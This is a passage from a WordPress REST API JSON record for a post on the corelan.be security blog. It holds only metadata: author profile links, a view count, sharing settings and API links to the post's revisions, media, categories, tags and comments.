why.","sameAs":["https:\/\/www.corelan-training.com","https:\/\/instagram.com\/corelanc0d3r","https:\/\/www.linkedin.com\/in\/petervaneeckhoutte\/","https:\/\/x.com\/corelanc0d3r"],"url":"https:\/\/www.corelan.be\/index.php\/author\/admin0\/"}]}},"views":200405,"jetpack_publicize_connections":[],"jetpack_featured_media_url":"","jetpack_sharing_enabled":true,"_links":{"self":[{"href":"https:\/\/www.corelan.be\/index.php\/wp-json\/wp\/v2\/posts\/2266","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.corelan.be\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.corelan.be\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.corelan.be\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.corelan.be\/index.php\/wp-json\/wp\/v2\/comments?post=2266"}],"version-history":[{"count":0,"href":"https:\/\/www.corelan.be\/index.php\/wp-json\/wp\/v2\/posts\/2266\/revisions"}],"wp:attachment":[{"href":"https:\/\/www.corelan.be\/index.php\/wp-json\/wp\/v2\/media?parent=2266"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.corelan.be\/index.php\/wp-json\/wp\/v2\/categories?post=2266"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.corelan.be\/index.php\/wp-json\/wp\/v2\/tags?post=2266"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}